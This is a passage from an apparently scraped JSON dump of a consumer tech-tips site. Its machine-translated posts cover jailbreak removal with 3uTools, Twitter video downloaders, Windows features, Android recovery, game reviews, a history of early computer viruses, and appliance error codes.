iPhone to your computer by cable. On the iPhone remember to choose to trust the device connected to.\n  Step 2: Here the device's interface appears, so we have finished connecting iPhone to 3uTools.\n  Step 3: Here you pay attention to Jailbroken, if it is Yes, your device has been jailbroken. And this is also our job, that is to delete the iOS jailbreak with 3uTools.\n  Step 4: Pay attention to the right corner of More, where you select Enter Recovery after clicking.\n  Step 5: 3uTools will ask if you want to put your iPhone in Recovery mode, of course we have to.\n  Step 6: In the next interface, click Go Flash to flash the device.\nNote: During this process, you are not allowed to disconnect the device.\n  Step 7: The system will list the frimware you can download, here we have preloaded it and if you haven't, 3uTools will help you do this.\n\u0026gt;\u0026gt; Click Flash to proceed with deleting iOS jailbreak with 3uTools.\n  Step 8: Confirm the iOS jailbreak with 3uTools, click Flash to start.\n  This process will take a long time, to delete the iOS jailbreak using 3uTools will probably take 15 to 20 minutes or maybe longer to complete.\n  Step 9: When the Congratulations message, Clean Flash Completed\u0026gt; deleting the iOS jailbreak with 3uTools is done.\n  Step 10: Now you just need to reset iPhone, if it was backed up before then restore the copy.\nOtherwise we perform a fresh install for that iOS device.\n  So we have completed how to delete iOS jailbreak with 3uTools, 3uTools is a great tool to help us handle a lot of problems not just jailbreak. This is a tool that many people trust and use, it overcomes many limitations that iTunes cannot do.\nNot only is it possible we can create iPhone ringtones using 3uTools, which on iTunes does but is much more difficult. Not only that, but transferring contacts and photo messages is also a strength of 3uTools. Compared to Apple iTunes, using 3uTools to transfer contacts, messages, and photos is much more efficient. ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyVobK1sYyipqxlmpa2ra7RnpikZaWotq%2BzjGysraefocA%3D\n","link":"/post/how-to-delete-ios-jailbreak-using-3utools/","section":"post","tags":null,"title":"How to delete iOS jailbreak using 3uTools"},{"body":"Downloading videos on Youtube, downloading videos on Facebook, on Twitter or many other video websites is no longer as difficult as before. You can use many different tools, different ways to download videos on websites. With Twitter, you can download Twitter videos to your computer, Android phone or iPhone in different ways. To download Twitter videos to a computer, users can use several online video download sites. The following article will summarize you to read some of the online Twitter video download websites.\nHow to download the Facebook video HD on the computer How to download videos Facebook, Vimeo with Vido - Video Downloader Instructions on how to download videos on Dailymotion How to download Twitter videos to your computer 1. Download Twitter Videos\nhttps://www.downloadtwittervideo.com/ Step 1:\nGo to the Download Twitter Videos homepage on the link above and paste the address of the Twitter video you want to download to your computer.\n  Step 2:\nThen you look down to see options for downloading videos on Twitter including downloading videos into audio files, downloading Twitter videos in mp4 or mp4 HD formats. Depending on the needs of each person, we click on the download file format below.\nImmediately Twitter videos will be downloaded to your computer with Download successfully notifications .\n  Step 3:\nAlso when clicking the Share button you will receive a new Twitter video sharing link to download to your computer.\n  2. Twitter Video Downloader\nhttp://twittervideodownloader.com/ Step 1:\nAt the Twitter video you want to download to your computer, click the arrow next to it and select Copy Link to Tweet to copy the video address.\n  Step 2:\nPaste the address into the horizontal bar at the interface of the Twitter Video Downloader and then click the Download button next to it.\n  Step 3:\nThen we will see the video on the interface, scroll down below to see the video download buttons. You can choose different video sizes with mp4 format to download. Click the Download video button to download the video.\n  3. Twdownload.com\nhttps://twdownload.com/ You can choose to download videos or animations on Twitter using the Twitter Video Downloader website. Videos when loaded will be selected in different sizes.\nStep 1:\nAt the main interface of the website, paste the Twitter video link you want to download and click the Download button next to it.\n  Step 2:\nSwitch to the new interface, scroll down and select the size you want to download, click the Download Link button.\n  Then you will see the video to be downloaded to the new page, click on the arrow icon to download the Twitter video to the computer.\n  4. Twdown.net\nhttps://twdown.net/ Twdown also supports users to download Twitter videos to their computers. We will choose the video frame size or choose to convert Twitter videos to mp3 right on Twdown.net.\nStep 1:\nUsers also paste the Twitter video link into the page's interface and then click the Download button.\n  Step 2:\nThen, select the video size you want to download or convert the video to an audio file and then click the Download button to download the file to your computer.\n  These are the websites that download Twitter videos to online computers and are completely free. You simply paste the Twitter video address and then click the Download button to download the mp4 video, or convert it to an audio file right on the page interface.\nSee more:\nInstructions for downloading YouTube videos, mp3 music YouTube does not use software 3 ways to download MP3 files from YouTube online Instructions for downloading Facebook videos on iOS and Android phones I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyfrLutu8CdZK2vmanBpr6Mr6CdnZ%2BoerC6jLKmrqpdmLyuvNStnKs%3D\n","link":"/post/how-to-download-twitter-videos-on-your-computer/","section":"post","tags":null,"title":"How to download Twitter videos on your computer"},{"body":"One of the useful features that only Windows 10 has is Clipboard History, this is a very good solution for office workers and has to deal with many data to copy, copy, . In this article, Software Tips will guide you how to turn on and use the Clipboard History feature on Windows 10.\n  1. What is Clipboard History? Clipboard History is a feature built into Windows and we can set it on / off through the system's Settings. The main purpose of Clipboard History is to store all data that you have previously copied to search, search and copy quickly. Instead of having to search for those data to copy again, you just need to open Clipboard History and view them in the list of copied data to Clipboard system.\n2. How to turn on the Clipboard History feature On the Windows 10, the Clipboard History feature is off by default and you need to enable them manually in Settings .\nStep 1: You press Windows + I to open Settings and you select the System section to set the system.\n  Step 2: Then, you find the Clipboard section and activate Clipboard History to On is finished.\n  3. How to use Clipboard History on Windows 10 On Windows 10, anywhere, any application that is opening on your computer can call Clipboard History through the shortcut Windows + V. When you call Clipboard History, you will see a copy. Clipboard includes a lot of content we have previously copied.\nThe order of content is sorted by time, which means that the most recently copied content will be at the top of your list.\nTo copy a content in Clipboard, you do not need to press Ctrl + V, you just need to Double click on the content to finish.\n  When you click on the extension, we will have the following content:\nDelete: Delete the data of the currently selected content Pin: Pin the currently selected content (they are always at the top of the list) Clear All: Clear all data on the Clipboard   4. How to turn off Clipboard History and delete its content To turn off Clipboard History, you just need to repeat the operations  of part 1 and turn into Off is finished.\n  To clear all data on Clipboard History, select Clear within Clipboard settings at Settings .\n  In this article, Software Tips showed you how to enable and use the Clipboard History feature on Windows 10 quickly and effectively. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqylp7tuu81mmKecXarApnnToZxmm5yevaO7wKubZqCZqMGwvthmnZ6ZpKq%2FpnnOp2SwoZ6ZvLi%2FjGpn\n","link":"/post/how-to-turn-on-and-use-the-clipboard-history-feature-on-windows-10/","section":"post","tags":null,"title":"How to turn on and use the Clipboard History feature on Windows 10"},{"body":"Along with VGA is the integrated driver to optimize the VGA to get the best performance on your computer. However, this driver package is often outdated compared to when you bought the card, so updating and updating the latest driver is a very important step for your computer to operate smoothly and adapt to the environment. New graphics processing.\nThe updated VGA driver is not as difficult as you think, it will not cause any harm to your computer, such as upgrading the BIOS. Only thing is that it will be confusing for many people if the computer is under normal use but the upgrade fails, it will not know how to handle it. Don't worry too much because you just need to go to the genuine address of the manufacturer of your VGA and download the compatible driver. Specifically, this article will provide a complete guide to help you update your vga driver.\nHow to update VGA driver for computer monitor Method 1: Automatic updates Usually laptops have CDs included to install drivers but most of them are old versions, you can hardly update the latest vga drivers via CD. But you can use the function to automatically find and install VGA drivers on Windows to download and update the latest VGA driver on Microsoft systems if you do not know what VGA your computer uses.\nIn addition, on Windows 10 is equipped with Update Driver feature, automatically checks all devices connected to the computer, including graphics card, sound card, USB . then proceed to download driver version. latest match. However, in order for this process to proceed properly, to avoid the case of downloading the wrong old version, users should manually perform the upgrade via the Update Driver feature.\nOpen a Run window (Windows + R) and type devmgmt.msc to open the Device Manager window.\n  Then navigate to the Display Adapter section and update the vga contained in this section by right-clicking and selecting Update driver software .\n  Then select Search automatically for updated driver software the system will automatically find and update the latest VGA driver for you through the internet connection.\n  Method 2: Manual update The advantage of manual updates is that the version can download the latest driver, even the driver version just released 1 hour ago. However, you need to determine the exact type of vga driver you need to download.\nFirst, you need to determine whether your VGA is VGA Onboard or discrete VGA. On the laptop, you can look at the machine information introduction posted below the laptop keyboard or you can open Run and type dxdiag to open the DirectX Diagnostic Tool window and check what your VGA is.\n  Then visit the VGA manufacturer's address to download the appropriate driver. Currently there are a number of major VGA vendors on the market as follows:\nDownload Driver Nvidia here. Download Driver Ati AMD here. Download Driver Intell here.   Find the correct vga driver and compatible with your operating system. In addition, you can use some tools like Driver Booster 3 that will help you find updated versions of VGA drivers and other devices such as network cards, sound, . that are most compatible for your computer. Besides, you can choose to buy a video card for your computer depending on your purpose of use and economy.\nSo, above we have a very detailed guide showing you how to update the VGA driver for your computer monitor. There are quite a few major VGA card (GPU) manufacturers that are Intel, Nvidia, AMD, so depending on the case you use the card you can apply similar to the article above to update the driver. my video card okay. Good luck\nupdate VGA driver ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2gma61sYyvnppllKe2t7HRZp2oql2YvK681K2cq2WdpLuqwM6r\n","link":"/post/how-to-update-vga-driver-for-computer-monitor/","section":"post","tags":null,"title":"How to update VGA driver for computer monitor"},{"body":"Officially released on the day (November 11), Pro Evolution Soccer 2015 (PES 2015) launched with a lot of expectations from fans and Konami since this football game is still being 'conceived'. .\n \nTrailer launch of PES 2015\nIn fact, after the disappointment called PES 2014, which has many problems in gameplay and graphics when moving to the new engine is FOX Engine , the pressure placed on PES 2015 is quite large, especially when PES in many this year it was always disappointing before EA's FIFA rival.\nNot to mention, this new game also marked the first time PES landed on the nextgen console, the PS4 and Xbox One. Simply stated, the success or failure of PES 2015 will have a significant impact on the future of football games that are loved by Vietnamese gamers.\n\nPES 2015 Gameplay: Barcelona vs.Real Madrid\nBut these worries seem to be just 'past'. Evidence is that recently, in the series of reviews before the launch, PES 2015 has received positive reviews from the world's leading gaming sites.\nAccordingly, with the average score of Metacritic being stopped at the 84th mark ( PS4 version ), PES 2015 received 10 good reviews, all at 8-9 points, with only 1 review at 7.5 points .\n  For example, Eurogamer (9/10), Playstation Universe (9/10), God is a Geek (October 9), GamesRadar (October 9), Gamespot (October 8) . If you have to compare, the 2014 PES disaster version has an average Metacrtic score of 78, while PES 2013 is 82. For FIFA rivals, FIFA 15 ( on PS4 ) has Metacritic score of 82.\n  According to the world's most prestigious gaming site, Gamespot, PES 2015 ' is the most positive PES version in recent years ', with praise for the player's passing and movement mechanism. as well as quite realistic and vivid graphics.\nHowever, the game still has inherent exceptions such as tournament image copyright and incomplete players, as well as criticisms of the game comment section.\n\" Pinning \" the review , Gamespot said, \" the FIFA game series finally got a worthy rival \" after years of winning. Agreeing with this idea, Eurogamer added, ' PES 2015 is going in the right direction ', showing that this is a quality version and can perfectly match FIFA 15 in the battle in football game genre in this year.\n  In addition, the above reviews are for reference only and are subjective to the assessor. More than anyone, gamers will give themselves the most objective and realistic judgments about PES 2015.\nReportedly, PES 2015 was released on 11/11 on PC, PS3, PS4, Xbox 360 and Xbox One.\nncG1vNJzZmismaXArq3KnmWcp51kt7a%2F02ajmq2emLWmsIypnKxlYmV%2BdnnIrGSpqpGewKawjJuwZp2opbKzwNI%3D\n","link":"/post/just-launched-pes-2015-is-praised-by-experts/","section":"post","tags":null,"title":"Just launched, PES 2015 is praised by experts"},{"body":"The app, called News Bar, is currently a beta version and was released in the Microsoft Store's Windows 10 app store.\n Basically News Bar is a taskbar pinned on the right side of the screen and specializes in providing the latest news to users. Even this interesting taskbar also provides information related to stocks. Of course users also have basic options such as hiding this toolbar while working.\n    According to Microsoft, the News Bar application provides news headlines from the Microsoft News network with more than 4.5 thousand prestigious newspapers around the world. In addition, users can customize the information of interest to the application automatically updated all day.\nMicrosoft said the News Bar application works like the Windows Taskbar. Ie you can put it anywhere, use whenever and use the way you want. Users can tweak the interface of the application in the settings as you like. If you want to focus more and don't worry about being distracted by the information, don't worry when you can minimize the News Bar and zoom back in at any time.\nTo install the News Bar app on Windows 10, users need to update their operating system to Windows 10 (1803) or later. Download the News Bar (beta) here .\n The News Bar app is completely free and optimized for both touches. That means, you can experience the app even on Windows 10 tablets or 2-in-1 devices like the Surface Book.\nncG1vNJzZmismaXArq3KnmWcp51kuqqv0aiqqJ6kYravwNGom66blah6tbTEZquaq5uXrrN51qGgnKBdpb%2BwwsidnKxlmaPBpr7ErKuippdiu6bD0mamp2Wnnrulu9asZGpoXZa7pXnYqKxmm5GjerW%2B2GagrWWepMQ%3D\n","link":"/post/microsoft-introduces-the-taskbar-which-provides-interesting-news-on-windows-10-and-you-can-try-it-now/","section":"post","tags":null,"title":"Microsoft introduces the Taskbar which provides interesting news on Windows 10 and you can try it now"},{"body":"Microsoft recently completed the addition of beta support for Android Screen Mirroring in Windows 10 Insider build 1803 or later.\nCurrently, this feature is only compatible with certain devices, however, it will be supported by all smartphones that are running Android versions 7.0 and above.\n  Windows 10 automatically deletes updates that cause problems As detailed in the article 'Phone screen - supported devices' posted on Microsoft's community website, the company will provide an \"early preview of the latest feature specific to Your Phone - phone application. Now, users can project their Android phone screen right on the PC without having to set up any more complicated intermediate steps on the phone. '\nAccording to The Verge's first report, Microsoft had previously introduced Windows 10 Your Phone application at the Surface event in October 2018. But until now, this application has been 'relatively complete'. and began to be piloted on a large scale.\n  Microsoft released Windows 10 Insider Preview Build 18353, focusing on Sandbox improvements Besides having to run the latest Windows 10 Insider build, users who want to try the Phone Screen experience through Your Phone application will also have to own a Bluetooth enabled computer, along with Low Energy Peripheral mode.\nScreen projection for Android 10 on Windows 10 will also be available for Surface Go users, and Microsoft said that the list of supported devices will soon be expanded in the near future, ie for platforms. PC and phone platforms in general.\nAccording to information from Microsoft, the following is a list of Android phone models running Android 7.0 or higher that are compatible with the Windows 10 Phone Screen mirroring screen projection feature at the present time:\nSamsung Galaxy S8 Samsung Galaxy S8 + Samsung Galaxy S9 Samsung Galaxy S9 +   First picture of Windows Lite, a compact operating system for 2-screen laptops Besides, Redmond also provides detailed process for users if they want to check if their PC supports Peripheral Bluetooth Low Energy feature as follows:\nRight-click on the Start menu, click the Device Manager item to access the device manager. Select and expand Bluetooth options. Choose Radio Driver or Adapter for Bluetooth. Double click to open Properties. Navigate to the Details tab. Find and click the Bluetooth radio supports Low Energy Peripheral Role item on the drop-down list. Check if the value is true or fail. If it's true, your PC has Bluetooth Low Energy Peripheral support, which means the device will be able to display the phone screen and interact with it. ncG1vNJzZmismaXArq3KnmWcp51kuqqv0aiqqJ6kYsGmv9Oem2asmJp6orrDq6ainF2osLOxxKdkqKZdlnq4tc2dprCrXWZ9bq%2FOpqeurJWn\n","link":"/post/microsoft-tested-the-android-screen-on-a-windows-10-computer/","section":"post","tags":null,"title":"Microsoft tested the Android screen on a Windows 10 computer"},{"body":"When the Android device is seriously faulty or even unable to boot, the safe and restore device in its original state will help you save your \"darling\" yourself.\nSafe mode (Safe mode) on Android is quite useful for users to fix basic errors. However, if your device encounters a lot of serious errors that prevent it from being able to boot the operating system, restoring the device to its original state at factory release (factory reset Android) should be done. .\nNote that, after resetting the device to its original state, all personal data, images, videos . saved on the device memory will be lost. Therefore, in case the phone or tablet using your Android is 'dead' and cannot access the operating system, you should save the data on the memory card and backup periodically.\nHere are the steps to save your faulty Android device yourself:\nStart the device in Safe mode The first case is if the device fails to access the operating system when booting in the usual way, try booting into Safe mode . There is currently no common way to apply all Android devices to boot into Safe mode when the OS is not accessible. Although Google's Open Source Project Android has integrated this approach for Android versions, device manufacturers seek to hide it.\nTherefore, in addition to searching Google on the keyword 'Boot Into Safe Mode On + device name' (device name is the name of the device or tablet being used), for example ' Boot Into Safe Mode On Samsung Galaxy S III ', then you can try some ways:\nMethod 1: For most Android tablets and phones today, you can press and press the two volume control buttons simultaneously after pressing the power button and staying the same during the boot process.\nMethod 2: Press and press the Menu key when starting the phone (applicable to devices with a hard Menu key).\nMethod 3: This applies to devices with touch keys. Hold down the Menu key when the LED is on, then release when the LED is off, press and hold when the light is on again. You must perform very meticulously and do not press the other keys to be able to enter Safe mode .\nIn the second case, although there are a lot of errors that prevent the user from being able to use the device, but still able to boot into the home screen, apply the following tips:\nWith devices that use ICS (Ice Cream Sandwich) or Jelly Bean ROMs, in the home screen interface, you can press the power button until the cool off option (Power off) appears. Then, press over the Power off (or Shut Down) option until the 'Reboot to safe mode' message appears. Finally, click OK to boot into safe mode.\n  Confirmation message in safe mode in Vietnamese and English interface.\nWith AOSP ROM versions, for example CM10.1 is customized based on Android 4.2 Jelly Bean, press the Power button , press the ' Reboot' button on the menu that appears, select OK to start the computer to restart into Safe mode .\nIn Safe mode, additional applications, external agents such as malicious code . will be disabled and the operating system will only have built-in utilities and be considered 'clean' . Therefore, users can easily identify the cause of the error is due to where and overcome.\nRestore the operating system to its original state In case the safety mode does not help your device better, use the 'factory reset' method to reinstall the operating system as it was when it was originally shipped.\nStep 1: First, make sure the device is turned off completely.\nStep 2: Press the specified buttons to access the Recovery mode . The specified buttons depend on each device line, but there are basically the following three groups:\n- Nexus 7 and most devices: Volume up button + Volume down button + Power button.\n- Motorola Droid X: Home + Power button.\n- Devices with a hard shutter button: Volume up button + Camera button\nStep 3 : When the device screen lights up, release the buttons. If done correctly and successfully, the screen of the phone or tablet will show the symbol of the Android robot being \" pecked \" and instructions for operation.\n  Start interface of Recovery mode.\nStep 4: Using the two volume keys to scroll up and down between options, select 'Recovery mode ' and press the power button to reboot the device into the original restoring mode.\n  Use the volume key to move and the power key to select.\n  Wait a few seconds, the device will reboot and the Android robot icon with a red warning icon will appear.\nStep 5: You continue to press the power button and volume up key, the screen recovery system Android options appear, move the volume keys to select ' Wipe Data / Factory Reset' , press the power button to activate.\n  Select 'wipe data / factory reset' in the Android system recovery interface.\n  Select 'Yes - erase all user data' to accept the device that erases all data stored on the device.\nIf there is a problem with the frozen device, press the power button until the machine restarts. Once completed, your device will be fully reinstalled and free from harmful agents caused by application conflicts, malicious code or other causes. Finally, you can reset the device and start using it.\nncG1vNJzZmismaXArq3KnmWcp51kv6a%2Fwq6cZpmeYq6vsNGooJ1llJrDqq%2FEZquhmaRitrR5xZqspaypYq6vsIydnJqc\n","link":"/post/rescue-an-android-device-that-is-faulty-and-dead/","section":"post","tags":null,"title":"Rescue an Android device that is faulty and 'dead'"},{"body":"In the game Genshin Impact, there are many places where it is not easy to hunt for treasure. Below is a summary of the difficult areas that players have to face:\n1. Yashiori Island This is an island in the Inazuma region located to the west and is one of the most difficult locations in Genshin Impact according to many players.\u0026nbsp;\n  The first obstacle when entering this island is the weather. The weather here has rain, lightning and enemies to deal with, causing many players to die on Yashiori Island. Along with that, the lightning effect also makes many gamers encounter many obstacles when playing. The island also has an area of ​​Musoujin Gorge contaminated with a high concentration of lightning, if you stay here for too long, it will erode your HP to death.\u0026nbsp;\nThe only solution to reduce the \"hardcore\" of Yashiori Island is to perform the legendary quest \"Orobashi Heritage\", to restore the island's weather to peace.\n2. Tatarasuna Island It is also an island in the Inazuma region. Tatarasuna Island is located between Narukami Island and Yashiori Island. This place is heavily polluted with 'god of disaster' and used to be a mine, but it is not usable now. After approaching the central area of ​​the mine, the player can be contaminated with lightning elemental concentrations and erode HP.\u0026nbsp;\n  The exploration of the island causes the player to lose HP continuously and the gamer also has to face difficult enemies and the risk of being defeated is very high. To solve this 'pollution', players only need to complete the quest 'Tatara Story', but it takes a long time to complete as the quest resets daily until the area is no longer contaminated with lightning. .\n3. Long Tich Tuyet Son Long Tich Tuyet Son was added in Genshin Impact version 1.2 and became the place players don't want to go the most. It's snowy, cold, and when the player's cold bar is at its maximum, HP drops rapidly until death.\u0026nbsp;\n  The only way to avoid freezing to death in Longxi Snow Mountain is to get close to fires or heating devices. These are scattered everywhere in this area, but the discovery process can cause players and team characters to freeze to death before finding them.\u0026nbsp;\nThe enemies in Long Tich Tuyet Son are also the reason players have to die in this area. From the Ice Armor King Hilichurl, Fatui, Original Ice to the Abyss Mage, easily defeat players in these extreme weather conditions.\n4. Khanh Van Dinh In Liyue, there are many areas where players literally have to climb passes and wade streams. If you want to explore all the areas, you need to climb a lot. Among the mountains, Khanh Van Dinh is the highest and most difficult to climb.\u0026nbsp;\n  When the teleport points in this area have not been opened, gamers will have to spend a lot of effort to climb to the top of the mountain and activate the Angel Statue. However, once the teleport point is opened, the player will be easier. Sometimes the winds blow up to support flying from one mountain top to another more smoothly.\u0026nbsp;\n5. Wind Dragon Ruins For professional gamers, Phong Long Ruins is not too difficult an area to explore. But it is the most difficult area in Mondstadt for newbies. This is where the Dvalin Dragon resides, the many relics guardians and the wall of wind making it extremely difficult to move around.\u0026nbsp;\n  Above are the difficult treasure hunting locations in Genshin Impact. Do you think there is a more difficult place?\nGenshin Impact ncG1vNJzZmismaXArq3KnmWcp51kwLq606GcrKGqmnq1tMRmpKirpGKxqrLFopqupKRiwbOxwKysq51dncKvwMinnmakn5iutbXOp6pmm5iWua2xzaCcZqiclsamvtJmoKdll5q7tLTIp2SipaCWsLU%3D\n","link":"/post/synthesize-the-most-difficult-treasure-hunting-locations-challenge-players-in-genshin-impact/","section":"post","tags":null,"title":"Synthesize the most difficult treasure hunting locations, challenge players in Genshin Impact"},{"body":"No one would have imagined that one of the dangers of today's IT world - computer viruses - was born out of a mischievous joke of a 9th grade student.\nThe funny joke gave the student Rich Skrenta the title 'the first person in the world to program and spread computer viruses'. Skrenta's friends became 'the first victims of computer viruses'.\nAnd even though 25 years have passed in the mind of ' the 9th grade student ' still remembers the moment he 'gave life and released the Elk Cloner virus into the world of computers ' .\n' It was nothing more than a funny joke ,' Skrenta - now in his 50s - confirmed in the press in a recent interview. ' If I were to choose again, I would still choose to be the first person in the world to program and distribute computer viruses. But besides, it was also the worst thing I did . ' Elk Cloner - 'ancestor' of modern computer virus\n Rich Skrenta - the first in the world to spread viruses.\nElk Cloner has the ability to replicate but there are very few similarities with other forms of malicious code that exist in today's computer world. Although it is only a past and not dangerous, Elk Cloner is a sign that the emergence of a 'pandemic' has spread all over the world, especially when more and more computers are connected. each other through the Internet.\nThe joke of 25 years ago also caused 'Skrenta pupil' to lose the trust of his friends, especially when he frequently swapped game disks and computer software with disks containing viruses. When the disc is inserted into the reading drive, instead of starting the game or the software, it shows the screened mocking words. Many of Skrenta's friends refused to accept the plates he gave them.\nSkrenta spent a winter vacation to figure out how to 'hack' his Apple II computer to find the code needed to start up that automatically displays mockery on the PC screen.\nAs a result, 'student Skrenta' has 'invented' a virus that is known today as 'boot sector virus'. Whenever the PC starts up Elk Cloner will automatically copy a copy of it into the system memory. If users insert a clean floppy disk into the system and use the 'catalog' command to view the file list stored on disk, they will unknowingly open the door to allow Elk Cloner to infect the disk. This disc is then handed to one person after another. That's the way Elk Cloner spreads.\nElk Cloner's goal is to annoy Skrenta's friends, not to the PC, as many computer viruses do today. If the Elk Cloner floppy disk is used consecutively 50 times, instead of displaying a mocking sentence, a poem appears on the screen, saying: ' It will get on all your disks; it will infiltrate your chips . ' (The virus has infiltrated all the drives on your PC and now it will attack the chip directly.)\nIn early 1982 Skrenta began to spread Elk Cloner virus in the school community of friends and at some computer clubs where he lived. Years of Skrenta still hear about Elk Cloner's new victims. Even nearly a decade after the first day Elk Cloner was released, there were still people who became victims of the virus - a sailor who joined the first Gulf war.\nThe first virus to attack Microsoft operating system PCs appeared in 1986. This is the work of two Pakistani brothers. They also successfully programed a 'boot sector virus' - named Brain - with the goal of punishing all those who use 'pirated' software. However, Brain does not cause any significant harm to infected PCs.\nOn a dangerous\nSo far the computer virus family has reached hundreds of thousands, millions. And the development of the Internet has created a way to spread new computer viruses. It is email.\nMelissa (1999), Love Bug (2000) and SoBig (2003) are among the first viruses to spread via email path by tricking users into clicking on the attachment. They actually caused great damage on a large scale thanks to the ability to manually send a copy to addresses stored on the infected PC.\nComputer viruses appear more and more dangerous in the future, besides the goal of disabling network systems, the virus now aims to destroy documents, steal data, personal information, encrypt documents to ransom, web site crashes, network .\n\"In terms of technology, today's computer viruses are not much different from the first computer viruses in the world,\" said Richard Ford, a professor of IT at Florida Institute of Technology. is between them the ability to destroy and damage. '\nToday there are also viruses spreading through instant messaging and peer-to-peer file-sharing networks. There are also some distributions through exploiting the network functional vulnerabilities of the Windows operating system.\nThe goal of modern viruses today is also very different. Instead of joking, causing widespread damage, bringing reputation to hackers, the virus now aims to steal personal data, ransom, send spam . All aim at the target. The only thing is to serve as a motive to profit from hackers' illegal finance. Viruses now spread purposefully, they target very specific objects.\nBesides viruses today there are countless other types of malware. They don't have the ability to replicate themselves, but they can easily break into PCs through a way to entice users to access a malicious website or take advantage of software security holes.\nDave Marcus, director of research at security firm McAfee, said today there is no such thing as a powerful online virus, but the number of malicious code is booming in a very powerful way.\nThe battle between security and malicious code is a 'cat-chasing' battle. When the security industry found a way to fight against the emerging virus, hackers were able to launch new technology through them. Not only the malicious code today can also attack multi-device platforms such as mobile devices, web services, social networks .\nFred Cohen, a security expert, wrote in his doctoral thesis in 1986 as follows. ' As the number of PCs grows, the computer virus grows. The only problem is time, when it will happen . '\nAnd in the age of digital booms, the Internet has grown, technology devices have grown so rapidly, what Fred Cohen has written is probably becoming a reality, when computer security news , network security is rarely absent on technology newspaper pages .\nThe famous computer viruses 1. Elk Cloner (1982) 2. Brain (1986) 3. Morris (1988) is the work of a good student at Cornell University (USA). It is estimated that 6,000 PCs of universities and military forces have become Morris victims. 4. Melissa (1999) is the first computer virus to spread via email. If the user clicks on the attachment, Melissa will automatically send a copy of it to the first 50 people in the directory that are available on the infected PC. 5. Love Bug (2000) attacked by hitting the interest of a web user event, starting a social engineering trend. 6. Code Red (2001) attacks through a Microsoft software security hole. This is one of the first \"worm\" in the world. To spread it needs to be connected on a network. Software bugs so far have not been disclosed. 7. Blaster (2003) attacks through a known vulnerability in Microsoft software. This has made the world's number one software company \"angry\" offering to pay anyone to disclose information about the person who programmed the virus. 8. SASSER (2004) attacked through a Microsoft software security hole. Once infected, the PC will be restarted continuously. This is one of the most dangerous viruses, but it doesn't get much attention. Hoang Dung\nSee more:\nTheory - What is Ransomware? Distinguish malware, viruses and Trojan horses Summary of the most frightening \"virus worms\" on computer systems ncG1vNJzZmismaXArq3KnmWcp51kwam10magrGWknbJuvMSrqqimXay1sHnCq5yarJWZerW0xGauqKqcmcBussirqq1lk6S6scHTnqlmrpmnwrQ%3D\n","link":"/post/this-is-the-person-who-created-the-world-s-first-computer-virus/","section":"post","tags":null,"title":"This is the person who created the world's first computer virus"},{"body":"In this article, TipsMake will introduce to you the best Webcam software available today.\n1. Logitech Capture Logitech not only makes webcams, it also develops great webcam software. Logitech Capture software includes important functions that let you capture, edit, and customize your videos with ease.\n  The software allows you to apply transitions, filters, and borders to highlight your images. In addition, there are some editing features such as removing background, adding light rays, etc. You can also use Logitech Capture to record vertical videos, suitable for viewers on mobile phones. The use of 2 webcams is also very well supported, without any difficulties.\n2. ManyCam   ManyCam is an attractive webcam application that gives you some great video editing features. It allows you to add effects like emojis, transitions and backgrounds while streaming or recording your images. The software also offers picture-in-picture mode and YouTube integration, helping you connect faster.\nVideo recording quality can be in a variety of resolutions – from 240p to full-HD. Supported formats include MP4, FLV and MKV. In addition ManyCam also comes with noise cancellation and allows you to adjust audio bitrate values ​​between 96-192kbps.\n3. YouCam   YouCam offers an intuitive user interface that is much easier to use than other software. The software offers an impressive array of editing and effects tools such as filters, emojis, shutter speed adjustments and lens focus shifters.\nTo make things more interesting, it comes with AR stickers and live animations to put the spotlight on your videos. YouCam records your videos in WMV, AVI and MP4 file formats, from 240p to Full HD resolution.\n4. SparkoCam Virtual Webcam   SparkoCam is especially suitable when you use a green background in the background, it makes it easy to customize your background. SparkoCam also provides attractive effects, graphics and animations for your live video calls.\nThis application can integrate with calling applications such as Zoom and Skype.\n5. IP Camera Viewer   In addition to video calling and streaming purposes, IP Camera Viewer also supports remarkable surveillance features. You can use your PC's webcam to replace a security camera, helping to monitor and protect your home. Sounds great doesn't it?\nThis software supports more than 2000 different types of IP cameras and allows you to edit videos easily. Use the software to change the orientation, frame rate and coverage of all IP cameras. The special feature is that you can zoom in on the frame even if your camera does not have a zoom function.\n6. Bandicam   Bandicam is a software that is quite familiar to most users who want to record their computer screen while playing games. Moreover, this software also has some camera related features. Bandicam is excellent at cutting, editing, merging and enhancing your videos. But the best feature is the ability to record highly compressed videos, with outstanding quality.\n7. SplitCam   SplitCam is an easy-to-use software suitable for webcam live streaming. This tool gives you a variety of video and audio effects when participating in an online call. You can use SplitCam to add 3D elements, text, and frames to your videos. Editing features include crop, rotate, flip and reverse images.\nConclude In this day and age, many people have a need to use webcams to meet online or stream games. Please choose for yourself a suitable webcam software in the list above!\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jHBksJ2SmK6uedKona2vkaeybrLOq2SwoZ6ZvLi%2FjGpnZmlh\n","link":"/post/top-7-webcam-software-for-windows-10-11/","section":"post","tags":null,"title":"Top 7 Webcam software for Windows 10, 11"},{"body":"Your LG washing machine, instead of working normally, stops and on the screen appears the word 'IE' blinking continuously. This sign indicates that your washing machine is faulty and in need of repair.\nSo what is 'IE' error, the cause and how to fix IE error on LG washing machine? Let's find out through the article below.\nIE on washing machine is what error? According to the manufacturer's instructions, the IE error on the washer is a water supply error. When this error occurs, the water supply to the washing machine is not stable.\nBoth the front door LG washing machine and the top door are likely to have an IE error.\nCauses LG washing machine to show IE error and how to fix it Below are the causes that can cause the LG washing machine to show IE error, you should check each error one by one to know where your home appliance is faulty and how to fix it.\nBecause the washing machine is not supplied with water. To fix this, you should check if the water supply valve is locked, check if the water in the water supply tank for the washing machine is still water . Because the water supply valve's filter screen is blocked by dirt, moss or foreign object. In this case, you should remove the water inlet valve filter screen and clean it.   Damaged water supply valve prevents water from being pumped into the washing machine. You just need to replace the water supply valve. The circuit board (the operation controller of the water supply valve) is damaged. To fix this error you need to call the company's warranty center for help. ncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWZmnqmvtGoqWannmK5qHnWmqqhoZ6ceq6twqGgp51dqbWmecKarKydXZa7pXnHqK5mrJ9is6rEjKKr\n","link":"/post/what-is-ie-error-on-lg-washing-machine-the-cause-and-how-to-fix-it/","section":"post","tags":null,"title":"What is IE error on LG washing machine? The cause and how to fix it"},{"body":"SmartArt in PowerPoint 